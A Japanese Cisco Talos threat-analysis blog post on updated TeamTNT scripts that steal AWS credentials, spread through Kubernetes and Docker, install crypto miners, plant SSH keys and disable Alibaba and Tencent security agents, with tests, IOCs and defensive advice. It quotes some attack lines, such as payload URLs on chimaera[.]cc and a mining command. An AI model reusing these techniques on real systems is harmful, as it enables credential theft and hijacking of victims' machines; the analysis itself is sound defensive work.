Cisco Japan Blog

TeamTNT が AWS と Alibaba 社を攻撃

3 min read



  • セキュリティ研究者が TeamTNT グループのスクリプトを公開して以来、スクリプトの改変が積極的に進められています。
  • 主な標的は Amazon Web Services ですが、オンプレミス、コンテナ、その他の形式の Linux インスタンスでもスクリプトを実行できます。
  • ペイロードには、ログイン情報窃取マルウェア、暗号通貨マイナー、永続性、ラテラルムーブメントが含まれます。
  • TeamTNT のスクリプトは、Alibaba 社の aegis クラウド セキュリティ エージェントなどのクラウドセキュリティツールを無効にすることもできます。

サマリー

Cisco Talos は最近、サイバー犯罪グループ「TeamTNT」の悪意のあるシェルスクリプトの改変バージョンをインテリジェンスパートナーから入手しました。以前のバージョンについては、Trend Micro 社popup_iconが詳しく説明しています。インテリジェンスパートナーによると、以前のバージョンのスクリプトがセキュリティ研究者によって公開されたことに気付いたマルウェア作成者がスクリプトに変更を加えたとのことです。主に Amazon Web Services(AWS)を狙ったスクリプトですが、オンプレミス、コンテナ、その他の形式の Linux インスタンスでも実行できます。

メインのログイン情報窃取スクリプトに加えて、暗号通貨マイニング、永続性、ラテラルムーブメントを目的としたいくつかの TeamTNT ペイロードがあります。ラテラルムーブメントでは、ローカルネットワーク内のすべての Kubernetes ポッドを検出して展開するなどの手法が使用されます。また、プライマリ配布サーバーのログイン情報を持つスクリプトや API キーを持つスクリプトもあります。この API キーは tmate 共有ターミナルセッションへのリモートアクセスを提供する可能性があります。中には、Alibaba のクラウドセキュリティツールの無効化を狙った、防御を回避するための関数を含む TeamTNT スクリプトまであります。最新のクラウド環境の侵害に焦点を当てている点が TeamTNT の大きな特徴であり、Cisco Talos がこれまで見てきた他の多くのサイバー犯罪者とはこの点で一線を画しています。

この記事の目的は、詳細な分析に役立つ一種の「フィールドガイド」を提供することです。入手したさまざまなスクリプトの機能について説明するほか、侵入の痕跡など、詳しい分析情報もすべて網羅しています。マルウェアによってトリガーされる可能性のあるアラートについても説明していますが、AWS やクラウドの API 呼び出しは行われていないため、現状では残念ながら API 呼び出しは検出されません。インスタンス メタデータ サービスからログイン情報が窃取され、一時的なログイン情報が生成されて使用された場合は、Cisco Secure Cloud Analytics(SCA)の AWS 一時的トークンの永続性アラートで検出されます。また TeamTNT サーバーや暗号通貨マイニングプールにトラフィックが送信された場合は脅威ウォッチリストで検出される可能性があります。さらに、マイニングスクリプトのほとんどは CPU の能力を 100% 使用せず 70% に抑えるように構成されていますが、SCA で監視している場合はクラウド セキュリティ ポスチャ管理ダッシュボードで検出されます。

ファイルとテスト

GRABBER_aws_cloud.sh
これは、AWS のログイン情報(具体的には IAM キーペア)を標的のインスタンスから収集して抽出する bash スクリプトです。メインのログイン情報窃取機能のほか、ファイルロック機能やパッケージ更新機能など、さまざまな機能があります。また、/etc/hosts ファイルを変更して chimaera[.]cc ドメインと teamtnt[.]red ドメインを IP アドレス 45.9.148[ .]108 にマッピングします。Google の DNS サーバーの IP アドレスも、/etc/resolv.conf に追加されます。

他にも機能はありますが、このスクリプトは機能を実行する前にまずシステムのホスト名をチェックし、「HaXXoRsMoPPeD」であれば終了します。一般的に、この種のチェックを行う目的は、マルウェア作成者自身のシステムでスクリプトを実行しないようにすることです。システムアーキテクチャのチェックも行います。AWS を狙ったマルウェアであり、AWS の Graviton プロセッサが人気を集めていることを考慮して、有用性の点から「aarch64」(64 ビット ARM プロセッサ)を明示的にサポートしています。スクリプトには「Alle AWS Systemvariablen(すべての AWS システム変数)」などのさまざまなドイツ語の文字列が含まれています。

ログイン情報を実際に取得する際は、次の場所と API をチェックします。

  • 文字列「AWS」を含んだ Linux システム環境変数。/proc/*/environ から取得しようと試みます。
  • 文字列「AWS」を含んだ Docker 環境変数。$(docker inspect $(docker ps -q) コマンドを実行して取得します。
  • /home/.aws/credentials および /root/.aws/credentials。AWS CLI ログイン情報ファイルのデフォルトの場所です。
  • AWS インスタンス メタデータ サービス(IMDS)の一時的なログイン情報(セッショントークンなど)。EC2 とコンテナのエンドポイントにクエリを行って取得します。注記:このクエリそのものは Cisco Secure Cloud Analytics で検出されませんが、後でそれらのログイン情報を使用して一時的なログイン情報を追加で生成すると、「AWS 一時的トークンの永続性」アラートで検出されます。

最後に、これまでの機能で収集したログイン情報を「/var/tmp/TeamTNT_AWS_STEALER.txt」に書き込み、cURL を使用して http://chimaera[.]cc/in/AWS.php に送信してからファイルを削除します。標的の EC2 インスタンスで VPC セキュリティグループによってすべてのネットワークトラフィックがブロックされていて、スクリプトが TeamTNT のサーバーに接続できない場合、CloudTrail、GuardDuty、SCA イベントは生成されませんでした。

init.sh
これは単純なスクリプトで、cURL を使用して 2 つの Kubernetes ペイロードスクリプトを 45.9.148[.]108 から取得して実行します。

init_main_root.sh
このスクリプトは、ここで説明した他のスクリプトや機能の多くをまとめたものです。具体的には、標準の履歴管理および消去、ファイルのロックと権限の変更、DNS の変更、パッケージ管理の更新機能を備えています。また、http://45.9.148[.182]//bin/bot_root/$C_hg_SYS にある XMRig とボットをインストールし、可能であればルートキットに変換して再起動後も永続するようにします。最後に、grabber.sh スクリプトをダウンロードして実行します。

Kubernetes_root_PayLoad_1.sh
このスクリプトは、システム変数をチェックする、ホスト名に応じて終了する、標的システムのパッケージや DNS エントリを更新するというように、GRABBAR_aws_cloud.sh と同じ機能を多数備えています。通常どおり、システムアーキテクチャのチェックも行います。使用するのは uname -m コマンドで、実行結果を変数 $C_hg_SYS として保存します。このスクリプトの主な機能は、「http://85.214.149[.]236:443/sugarcrm/themes/default/images/SugarLogic/…/TNTb/$C_hg_SYS」でホストされているスクリプトをダウンロードして「/usr/bin/dockerd_env」として保存することです。つまり、「aarch64」、「x86_64」、または「i386」というファイルが配布サーバーの TNTb ディレクトリからダウンロードされます。aarch64x86_64 は入手したマルウェアのコレクションに含まれていたので、これらのファイルのハッシュは VirusTotal で Tsunami マルウェアとして検出されます。

いずれの方法も使用できない場合は、cURL、Wget、スクリプトに組み込まれているカスタム bash 関数を使用してスクリプトファイルをダウンロードしようとします。その後、chattr ツールpopup_iconで -ia フラグを使用してこの新たにダウンロードしたスクリプトを変更できないようにし、実行可能にして、権限を変更します。次に、dockerd_env のプロセス ID 番号をチェックし、pid がない場合は実行可能ビットを再度追加して実行ファイルの実行を試みます。最後に、~/.dockerd、~/.kube、~/.configure を強制終了し、ファイル k31r.sh を削除します。

Kubernetes_root_PayLoad_2.sh
その名のとおり、これは Kubernetes_root_PayLoad_1.sh を拡張してさまざまな機能を追加したものです。Monero ウォレットアドレスと SSH キー(下部の「侵入の痕跡」に記載)がコード内にハードコーディングされています。バージョン 1 に含まれていた機能に加えて、実行ガードレール(Mitre ATT&CK T1480)popup_iconも備えており、XMRig が未インストールの場合にのみスクリプトの以降の部分を実行します。また防御の妨害(ATT&CK T1562)popup_iconも実行し、さまざまな防御サービス、特に aliyun-service、cloudmonitor、aegis などの Alibaba Cloud エージェントや BMC エージェントpopup_iconを無効化します。さらに、以前にインストールされている可能性のあるマイナー(moneroocean など)もクリーンアップします。CloudTrail や GuardDuty などの AWS 防御サービスを API 呼び出しを通じて無効にする試みは行われていないため、残念ながら SCA の現在の防御の妨害アラートでこの動作が検出されることはありません。

システムチェックが完了すると、XMRig の構成ファイルがディスクのパス「/usr/sbin/.configure/config.json」に書き込まれます。利用される構成テンプレートを無効化したものはこちらでご覧いただけますpopup_icon。これには Monero プールが多数含まれており、標的のインフラでマイニングのセットアップに成功した場合に利用されます(ATT&CK T1496、リソースハイジャックpopup_icon)。構成ファイルが作成された後、XMRig がダウンロードされてセットアップされ、実行されます。ターゲットハッシュレートは利用可能な CPU キャパシティの 70% に設定されており、ラージメモリページが有効化されます。再起動しても XMRig を存続させるためのシステムサービス(エイリアスは「sad_service.service」)が systemctl を使用して作成されます(ATT&CK T1547popup_icon)。最後に、スクリプトの冒頭で指定されている SSH キーがシステムの認証済み SSH キーに追加されて永続性が確保され、ファイル「k32r.sh」が削除されます。クラウドプロバイダーの API 呼び出しが行われていないため、このスクリプトが実行されても SCA アラートが発生することはありませんが、XMRig からマイニングプールアドレスへのネットワークトラフィックが発生した場合は検出される可能性があります。

Setup_Rainbow_miner.sh

このファイルは単純なスクリプトで、オープンソースの RainbowMiner を GitHub からpopup_icon複製し、cURL を使用して PowerShell を GitHub からpopup_iconダウンロードします。次に、構成ファイルをディスク上の場所「/usr/bin/rbm/Config/config.txt」に書き込み、3 つのスクリプト(install.sh、initclient.sh、start-screen.sh)を実行します。また、通常のホスト名のチェックと既存のサービスのチェックを実行し、古い構成ファイルがシステムに存在する場合はクリーンアップします。構成ファイルには上のスクリーンショットに示すサーバーログイン情報が含まれています。この IP アドレスに ping してみたところ、まだサーバーが稼働していることが分かりましたが、その他の詳細は把握できていません。

Setup_ETH_Miner.sh
このスクリプトは Setup_Rainbow_miner.sh と同様に GitHub のオープンソース lolMinerpopup_icon の URL と NVIDIA Tesla_T4 ドライバの URL を指定し、次のコマンドを使用してマイニングを開始します。

./systemd –algo ETHASH –pool 51.195.105.101:2020 –user 0x7420343c767fa5942aF034a6C61b13060160f59C.$(cat /etc/hostname)

また、lspci ユーティリティを使用して VGA デバイスが存在するかどうかもチェックします。lolMiner と Nvidia ドライバの URL を指定していますが、ダウンロードやインストールは行っていないようです。

Setup_ETH_MinerService.sh
このスクリプトは Setup_ETH_Miner.sh を基にして構築されており、同じ Ethereum プールを使用してマイニングを開始し、マイナーのプロセス ID 番号をファイル「/usr/bin/emin.dat」に書き込み、プロセスをシステムサービスとしてセットアップします。このサービスは、マイナーを開始、停止、再開するオプションや、マイナーのステータスを取得するオプションを備えています。

Setup_WeaveScope.sh
このスクリプトは、オープンソースの WeaveWorks Scopepopup_icon ユーティリティをインストールするために使用されます。このユーティリティを使用して、コンテナ構成に含まれている他のすべてのコンテナスクリプトをモニタリングします。まず、Docker がインストールされて開始されます。次に、スコープのソースコードの Base64 エンコードバージョンがターミナルにエコーされ、デコード後に「/tmp/Cscope」に書き込まれます。デコードされたスクリプトを無効化したものはこちらでご覧いただけますpopup_icon。次に、/tmp がマウントされ、/tmp/Cscope に実行権限が付与され、サービストークン eido7wcr1dy9zqa47tjb8wb5539yqogq を使用して開始されます。

MOUNTSPLOIT_V2.sh
このスクリプトは、標的のインスタンスの SSH 構成を編集(ATT&CK T1098.004popup_icon)することで永続性を確立(ATT&CK TA0003)します。副次的な機能として、fdisk -lu や lvdisplay などのコマンドを使用してローカルホストのシステム情報を収集(ATT&CK T1592.002popup_icon)し、出力を /var/tmp 内のファイル(「auth.dat」、「sshconfig.dat」、「sshconfig.txt」、「dev_path.dat」)に書き込みます。このスクリプトには、こちらでご覧いただけるpopup_icon「hilde@teamtnt[.]red」の SSH キーが含まれており、これを認証キーとして追加し、新しい SSH キーを生成して /root/id_rsa として保存します。また、標的のシステムに OpenSSH が存在しない場合はインストールし、sshd 構成ファイルで PermitRootLogin、PasswordAuthentication、PubKeyAuthentication を「yes」に設定します。他の操作が成功したら、SSH を使用して Kubernetes_root_PayLoad_2.sh をダウンロードし、ローカルホストのルートユーザーとして実行します。

Setup_tmate.sh
その名のとおり、このスクリプトは tmate をインストールします。tmate はオープンソースのターミナル共有ユーティリティであり、tmux のフォークです。tmate のバージョンの GitHub URLpopup_icon を変数として宣言していますが、実際には配布サーバー 45.9.148[.]182 から wget を使用して tmate をダウンロードし、「tmp/tmate」として保存します。API キー「tmk-4ST6GRXU6GPUjlXHfSlNe0ZaT2」とセッション名「testung002」はスクリプトにハードコーディングされています。コード内のコメントで URL が https://tmate[.]io/t/HildeGard/testung001 となっていることから、マルウェア作成者の tmate ユーザー名は HildeGard のようです。tmate のドキュメントpopup_iconによると、tmate の名前付きセッションには登録が必要です。したがって、tmate には、少なくともこのユーザーの電子メールアドレスと、場合によってはその他の情報が提供されていると思われます。

DockerAPI-SSH-BreakOut.sh
このスクリプトは、SSH を使用してローカルホストの IP アドレスに接続し、その IP のインスタンスでスクリプト setup_moneroocean_miner.shpopup_icon を実行します。その際には、最初に文字列「chimaera」を名前に含む既存の SSH キーを削除し、ssh-keygen で新しいキーペアを生成し、それを /root/.ssh/authorized_keys に書き込みます。その後、root@127.0.0.1 への接続を試み、Base64 エンコードされた MoneroOcean スクリプトを SSH ターミナルにエコーし、デコードしてから実行します。次に、cURL を使用して同じ MoneroOcean セットアップスクリプトを GitHub からダウンロードし、再度実行を試みます。

Kubernetes.LAN.IP.Range.sh
このスクリプトの主な目的は、ローカル IP アドレスの範囲をスキャンして、その中の Kubernetes クラスタやその他のインスタンスにさまざまなマイナーペイロードを展開することです。通常のホスト名のチェックとガードレールチェックを実行し、パス「/etc/…/.kube.lan.lock/」を検索してこのディレクトリが存在する場合は終了し、存在しない場合は作成します。その後、カスタムの pull() 関数を使用して cURL を 85.214.149[.]236 からダウンロードし、cURL を使用して iplogger[.]org/1A4Cu7(ロギングおよび分析サイト)と icanhazip.com にアクセスして、標的のシステムのパブリック IP アドレスを取得します。次に、http://chimaera[.]cc/data/bot.txt にあるファイルを ~/.dockerd として保存し、pnscan、jq、masscan をインストールしてテストし、ファイル libpcap.so を 85.214.149[.]236 からプルして、それを環境変数 LD_PRELOAD に設定します。これによって、以降にコンパイルされる C プログラムではどのライブラリよりも先に libpcap ライブラリがロードされます。次に、「/usr/bin/kuben2」にある既存のファイルを削除し、wget を使用してスクリプトを再度ダウンロードします。その後、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16、100.64.0.0/10 の各 IP 範囲を masscan を使用してスキャンし、結果を「/var/tmp/.out.txt」に保存します。最後に、識別された各ローカル IP を使用して kuben2 を実行し、「/var/tmp/.out.txt」を削除して bash 履歴を消去します。

Kubernetes_scan_LAN_IPs.sh
このスクリプトは不完全であるか破損しているようです。通常の環境設定、環境検出、ホスト名チェックを実行しますが、実際の機能はありません。

Docker-API.IP.Range.sh
これもコンテナ指向の感染スクリプトで、Docker を標的にしています。このスクリプトのコメントもドイツ語で書かれており、説明を翻訳すると「x86_64 システムのすべての Docker コンテナに XMRig を感染させる。ファイル /.dockerenv を XMRig に置換して開始する」となります。通常どおり「.docker-api.ip.range.lock」という隠しディレクトリを検索して標的のインスタンスで実行したことがあるかどうかを確認し、実行したことがある場合は終了します。実行したことがない場合はこのディレクトリを作成し、mascan、pnscan、zgrab が実行されている場合は強制終了を試みます。また、jq、masscan、zgrab、pnscan、docker、cURL がインストールされているかどうかを確認し、インストールされていない場合は「http://dl1.chimaera[.]cc:443/sugarcrm/themes/default/images/SugarLogic/…」からダウンロードします。さらに、ファイル「libpcap.so」、「ca.pem」、「kuben2.sh」を「http://chimaera[.]cc」からダウンロードします。これらのユーティリティをすべてインストールおよびテストして、LD_PRELOAD 環境変数をエクスポートします。またファイル http://chimaera[.]cc/data/bot.txt をダウンロードして ~/.dockerd として保存します。

kuben2.sh
このスクリプトの次のセクションで、他のスクリプトの実行内容が説明されています。

P1L=”http://chimaera[.]cc/sh/Kubernetes.put.the.bot.sh” # ファーストタッチペイロード
P2L=”http://chimaera[.]cc/sh/MountSshExploit.sh” # マウント & ブレークアウトペイロード
P3L=”http://chimaera[.]cc/sh/mo.sh” # ルートポッドマイナーのセットアップ
P4L=”http://chimaera[.]cc/sh/Kubernetes.XMR.tmp.Setup.sh” # 一時ポッドマイナーのセットアップ
P5L=”http://chimaera[.]cc/sh/Kubernetes.put.the.bot.sh” # ボットペイロードのみをインストール

Kubernetes.XMR.tmp.Setup.sh
これは単純なスクリプトで、XMRig を http://chimaera[.]cc/bin/x86_64/xmrig からダウンロードして /tmp/xmrig として保存し、IP 15.236.100[.]141:10128 とウォレットアドレス(下部の「侵入の痕跡」に記載)を指定して実行します。名前からは Kubernetes ポッドで使用するためのスクリプトと推測できますが、ほぼすべての Linux ベースのシステムで実行できる可能性があります。

TeamTNT によるクラウドセキュリティの無効化

防御を妨害する TeamTNT の機能については、Trend Micro 社popup_iconCado Security 社popup_iconがそれぞれ記事を公開しているものの、いずれも詳細には踏み込んでいません。両社の記事では詳しく説明されていないのですが、かなり独特で興味を引く特徴として、クラウドセキュリティツールの無効化(Mitre T1562.008popup_icon)に関連する広範な機能があります。TeamTNT は、Docker、Kubernetes、パブリック クラウド プロバイダーなどの最新の開発運用環境を標的にする手法を採用している点で際立っています。従来のマルウェア作成者はそうした環境を長いこと避けてきており、オンプレミス環境やモバイル環境を標的にするのが常でした。ここからは、関数の基本分析と機能を説明します。その後、妨害対象の防御セキュリティエージェントを搭載した仮想マシンをセットアップし、TeamTNT ツールを実行して実際の動作をテストした結果を示します。特定された侵入の痕跡(IOC)と防御のための推奨事項も提供します。

分析

防御を妨害するための関数の大半は Alibaba Cloud Securitypopup_icon のさまざまなエージェントを標的としたものですが、Tencent Cloud Monitorpopup_icon やサードパーティの BMC Helix Cloud Securitypopup_icon エージェントも標的になっています。これは非常に興味深い点です。というのも、悪意のあるスクリプトの大半が Amazon Web Services(AWS)Elastic Compute Cloud(EC2)の仮想マシンを標的として作成されているのに対し、Alibaba や Tencent のエージェントは、Alibaba Cloud Elastic Compute Service(ECS)や Tencent Cloud VM で実行されることが最も一般的だからです。もちろん、AWS や他のサービスで実行される VM にインストールされることもあるのでしょうが、あまり一般的ではありません。AWS CloudWatch エージェント、Microsoft Defender、Google Cloud Monitor、Cisco Secure Cloud Analytics、CrowdStrike Falcon、Palo Alto Prisma Cloud など、米国の一般的なクラウドセキュリティツールの無効化を TeamTNT が試みることはありません。

防御を妨害するための関数(Alibaba を標的としたバージョン)をスクリプト Kubernetes_root_payload_2.sh から抽出したものは、こちらでご覧いただけます。popup_icon防御を妨害するための関数には Base64 エンコードされた文字列popup_iconがいくつか含まれていて静的分析が困難になっています。それらの関数をデコードしてこちらの ali-defense-impairment-base64-decoded.sh.txtpopup_icon ファイルにコピーしましたのでご覧ください。

Alibaba を標的とした、防御の妨害に関連があるさまざまな関数の説明を次に示します。

  • 文字列 [a]liyun(「a」は省略可)が名前に含まれている実行中のプロセスがある場合は、/etc/os-release ファイルの簡単なチェックを行ってオペレーティングシステムのプロファイルを確認してから、実行中のさまざまな Alibaba ツールの強制終了を試みます。Alibaba Cloud の英語/米国版の公式ドキュメントには、aegis クラウド セキュリティ エージェントpopup_iconSecurity Center の脅威検出およびポスチャ管理サービスpopup_iconに関する詳細が記載されています。
  • 次の関数は、aegis 関数呼び出しに対して使用されている可能性があるさまざまな kprobespopup_icon の名前をコマンドラインに出力し、システムで設定済みかどうかに応じてそれらを有効または無効にします。kprobes は、指定されたカーネル命令を監視する機能を提供します。デバッグ目的やセキュリティツールで使用されるのが一般的です。
  • 次に、デフォルトの aegis ディレクトリ(/usr/local/aegis)がシステムに存在する場合は、umount コマンドpopup_iconを使用してさまざまなサブディレクトリのマウント解除と削除を試みます。また aegis とその関連ユーティリティのコードも削除しようとします。
  • この時点で、aegis と関連ツールは停止され、カーネル命令の監視機能は無効化され、インストールディレクトリは削除されています。次に、uninstall_service 関数と stop/remove 関数によってインストール済みのエージェントを実際に削除しようとします。使用されるアプローチはスクリプトが実行されている Linux のディストリビューションに応じて異なります。
  • systemctlpopup_icon または dpopup_icon サービスが aliyun または bcm-agent(BMC Helix の Linux エージェント)に登録されている場合はそれらも無効化され、停止されます。
  • yum および apt-get パッケージマネージャも aegis、bcm、aliyun エージェントの削除を試みる際に使用されます。
  • 最後に、Tencent Cloud の qcloud エージェントと Alibaba cloudmonitor ツール(Alibaba 社のクラウド セキュリティ エージェントの GoLang バージョン)を無効にして削除しようとします。

テスト

Alibaba

これらの機能をテストするために、AWS の EC2 インスタンスに Alibaba Cloud Security のエージェントである aegis をインストールしました。また Cisco Secure Endpoint(CSE)クライアントもインストールし、Cisco Secure Cloud Analytics(SCA)を AWS アカウントに統合しました。Alibaba のエージェントのインストールには次のコマンドを使用しました。

  • wget “https://aegis.alicdn.com/download/install/2.0/linux/AliAqsInstall.sh” && chmod +x AliAqsInstall.sh && sudo ./AliAqsInstall.sh -k=Lu7q94

約 5 分後、上図のように Alibaba Cloud Security の「Assets」ページに VM が表示され、さまざまな脆弱性や構成情報を評価できるようになりました。次に、TeamTNT の Kubernetes_root_payload_2.sh スクリプトを標的の EC2 インスタンスに転送しました。ただし、スクリプトに変更を加えて、実際の TeamTNT サーバーではなく Google Cloud VM にすべてのネットワークトラフィックを送信するようにしています。

最初にルート権限なしでスクリプトを実行しました。その結果、さまざまなファイルやディレクトリを削除しようとして大量の権限拒否エラーが発生しました。その後、sudo でスクリプトを実行しました。クラウド防御を妨害するための関数は想定どおりに実行され、エージェントがシャットダウンされて関連ファイルがすべて削除されました。aegis の systemctl サービスが残っていましたが、実行されていませんでした。Alibaba Cloud コンソール側ではエージェントへの接続が失われて、EC2 インスタンスを監視できなくなりました。XMRig の構成などのファイルがディレクトリ /usr/sbin/.configure に作成されました。実際の TeamTNT インフラに接続しないように変更を加える前のオリジナルのスクリプトでは、XMRig が IP アドレス 85.214.149.236 からダウンロードされます。また、同じ抽出ファイルディレクトリに保存される認証済みの SSH キーファイルを使用して、新規ユーザーのホームディレクトリ「hilde」も作成されます。その他の侵入の痕跡については、この記事の最後を参照してください。

防御のための推奨事項

防止
AWS のセキュリティのベストプラクティス標準を守るようにします。暗号通貨マイナーやその他の脅威のインストールに必要な権限を持つログイン情報へのアクセスを減らすことで、脅威を制限できるようになります。不要な権限を持つアカウントを減らすには、アカウントのルートユーザーを使用しないようにし、コンソールへのアクセスをユーザーに不必要に提供しないようにします。また、高特権ユーザーには admin ではなく PowerUser ポリシーを付与します。可能であれば、一時トークンを使用したロールベースの認証を使用してください。すべての Identity and Access Management(IAM)ユーザーとルートユーザーに多要素認証を要求します。また、自動静的分析をすべてのソースコードで実施して、ログイン情報が公開コードに紛れ込んで漏洩するのを防止します。IAM だけでなく AWS CloudTrail と GuardDuty も有効にし、Cisco Secure Cloud Analytics(SCA)を統合します。これによって、標的のアカウントにアクセスできる攻撃者がいた場合にアクションがログに記録され、アラートが提示されるようになります。AWS CloudWatch を構成して、システムログとメトリクスをすべての Amazon Elastic Compute Cloud(EC2)インスタンスから収集します。これは、インシデントの検出やフォレンジック分析に役立ちます。暗号通貨マイニングの検出にはこれが特に有効です。CPU、GPU、ストレージの使用率が高くなることが暗号通貨マイニングの一般的な兆候だからです。また、AWS Systems Manager もセットアップします。これによってネットワークポートの開放や SSH のキー管理インフラが不要になり、IAM ベースのより安全な方法で EC2 インスタンスにリモートアクセスできるようになります。新しいリージョンでのインスタンスの作成や、異常な自動スケーリングイベントにも常に注意を払います。Securing The Cloudpopup_icon では、AWS のインフラを保護するためのその他のベストプラクティスをまとめた記事が公開されています。

検出
TeamTNT は CPU 使用率を 70% に設定しているので、Amazon CloudWatch アラームを構成して、70% ちょうどの使用率が安定して継続する場合に通知されるようにします。この方法が適しているかどうかは、アカウントのユースケースや、正常な理由でそのような状態になることが多いかどうかに応じて判断してください。同様に、Elastic Block Store(EBS)ボリュームが突然作成または拡張されて EC2 インスタンスにマウントされ、異常な量のスペースを使用している場合は、暗号通貨マイナーが完全なブロックチェーンをダウンロードしたことを示している可能性があります。また、防御の妨害手法そのものも検出できます。aegis などの監視エージェントが予期せずオフラインになるのは、注意すべき分かりやすい兆候です。Cisco Secure Cloud Analytics は、さまざまな防御の妨害手法に関する追加の監視機能を多数備えていますが、それらは Alibaba Cloud Security ではなく AWS や Azure サービスを対象にしています。

まとめ

セキュリティ研究者に情報を公開されたサイバー犯罪者は、活動を続けていくためにツールを更新しなければならなくなりました。そうしたサイバー犯罪者が行った更新を調べた結果、セキュリティ企業として多くのことを学べました。TeamTNT が使用したツールを分析すると、Docker、Kubernetes、パブリック クラウド プロバイダーといった最新の環境を攻撃する能力をサイバー犯罪者が備え始めたことが分かります。従来のサイバー犯罪者はそうした環境を避けてきており、オンプレミス環境やモバイル環境を標的にするのが常でした。TeamTNT がクラウド セキュリティ サービスを無効にしていることからも見て取れるように、サイバー犯罪者がこうした最新の環境にマルウェアを展開するには、検出を回避するというある種の創造性を発揮する必要があります。これらのシステムのセキュリティを継続的に確保していくには、ネットワークのセキュリティ担当者も創造性を発揮して、新しい形式の検出や監視を実装する必要があります。

カバレッジ

今回の脅威は、以下の製品で検出してブロックすることが可能です。

Cisco Secure Endpoint(旧 AMP for Endpoints)は、この記事で説明したマルウェアの実行を阻止するのに最適です。Cisco Secure Endpoint の無料トライアルはこちらからpopup_iconお申し込みください。

Threat Defense Virtual、適応型セキュリティアプライアンス、Meraki MX など、Cisco Secure Firewall(旧次世代ファイアウォールおよび Firepower NGFW)アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。

Cisco Secure Malware Analytics(Threat Grid)は悪意のあるバイナリを特定し、Cisco Secure のすべての製品に保護機能を組み込みます。

Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。Umbrella の無料トライアルはこちらからpopup_iconお申し込みください。

Cisco Secure Web Appliance(旧 Web セキュリティアプライアンス)は、危険性のあるサイトを自動的にブロックし、ユーザーがアクセスする前に疑わしいサイトをテストします。

Cisco Duo は、ユーザーに多要素認証を提供し、承認されたユーザーのみがネットワークにアクセスできるようにします。

オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.org で購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。

侵入の痕跡

ドメイン:
teamtnt[.]red
chimaera[.]cc

IP アドレス:
45.9.148[.]108
45.9.148[.]182
85.214.149[.]236
94.130.12[.]30
94.130.12[.]27
3.125.10[.]23
15.236.100[.]141
51.195.105[.]101

ウォレットアドレス:
Monero
85HgMCkoDiP4LQ1XN5dQ7k73h6WX3pZn3BG4K5a5YdwxiSxcJWe6JoH9jHtiLtPbYCQqzYLPyQkEBRkjSVUc1HjjDT8jJ3D

84hYzyMkfn8RAb5yMq7v7QfcZ3zgBhsGxYjMKcZU8E43ZDDwDAdKY5t84TMZqfPVW84Dq58AhP3AbUNoxznhvxEaV23f57T

438ss2gYTKze7kMqrgUagwEjtm993CVHk1uKHUBZGy6yPaZ2WNe5vdDFXGoVvtf7wcbiAUJix3NR9Ph1aq2NqSgyBkVFEtZ

Ethereum
0x7420343c767fa5942aF034a6C61b13060160f59C

SSH キーpopup_icon
Kubernetes_root_PayLoad_2.sh:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYmuFzpuEpN/KHPbQkSUT1Xe/gVl3FpIe/GlhJEnW84rCMsYhRe2xxcPc1xfZd10JBhM1kEhs5aycIYiPvLYTRi7mA88hE15OVCkwgPT2HgaY8oetbiNiu18jBygbnku2/avpf/Xl2vkcNJRwHjkik3/Vid9fSleNWeAI+RGrMRRiP4hXVBQjHbuSFlw2VDg0uZINodP+n8oWBDHGnMGei9W6OXxQ3R5C+oKBw9NA3K/drsqvJh81jbEkDXyqCG0Nj0sAUk6o/aGIIQpwxI3ez2Vi/lqm5LYsRO6ICsHP6RXJT/08XkUVNMu7BLnje2RCG/kSKjVqW8QePyajHJ64kHwYf1yeyGfObZJWhUSP3yPK6UtGxBouyA/TPTqvba4vAmUy1Jl7hyWkoa4KUwgmsEizmT9n8GEg1USPXxRWNqv0VIi5160tcoujrB85HYwjwIhbphCqhTKyNwnnFJNratI1hGurgr8t0fflC/igLph8PapiayTwTLEbNwSUwVp8D3rvBkYB+XV2wO4+q24IoNZJO6ePXEA80jAVEa7eGhlnV5BUIIG+pYP/CkukcggyW+vGRTrl07KrvhAn9dLGDg1J8KZM2hMx5L/2ulgjKTjPZI566fL6Y0dDhPJZH8bxAq6i/ciXXZFeuaG4eCDkitPdSzhFtyuZQj712h6NLow== root@localhost

MOUNTSPLOIT_V2.sh.txt:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYmuFzpuEpN/KHPbQkSUT1Xe/gVl3FpIe/GlhJEnW84rCMsYhRe2xxcPc1xfZd10JBhM1kEhs5aycIYiPvLYTRi7mA88hE15OVCkwgPT2HgaY8oetbiNiu18jBygbnku2/avpf/Xl2vkcNJRwHjkik3/Vid9fSleNWeAI+RGrMRRiP4hXVBQjHbuSFlw2VDg0uZINodP+n8oWBDHGnMGei9W6OXxQ3R5C+oKBw9NA3K/drsqvJh81jbEkDXyqCG0Nj0sAUk6o/aGIIQpwxI3ez2Vi/lqm5LYsRO6ICsHP6RXJT/08XkUVNMu7BLnje2RCG/kSKjVqW8QePyajHJ64kHwYf1yeyGfObZJWhUSP3yPK6UtGxBouyA/TPTqvba4vAmUy1Jl7hyWkoa4KUwgmsEizmT9n8GEg1USPXxRWNqv0VIi5160tcoujrB85HYwjwIhbphCqhTKyNwnnFJNratI1hGurgr8t0fflC/igLph8PapiayTwTLEbNwSUwVp8D3rvBkYB+XV2wO4+q24IoNZJO6ePXEA80jAVEa7eGhlnV5BUIIG+pYP/CkukcggyW+vGRTrl07KrvhAn9dLGDg1J8KZM2hMx5L/2ulgjKTjPZI566fL6Y0dDhPJZH8bxAq6i/ciXXZFeuaG4eCDkitPdSzhFtyuZQj712h6NLow== hilde@teamtnt.red

MountSshExploit.sh:
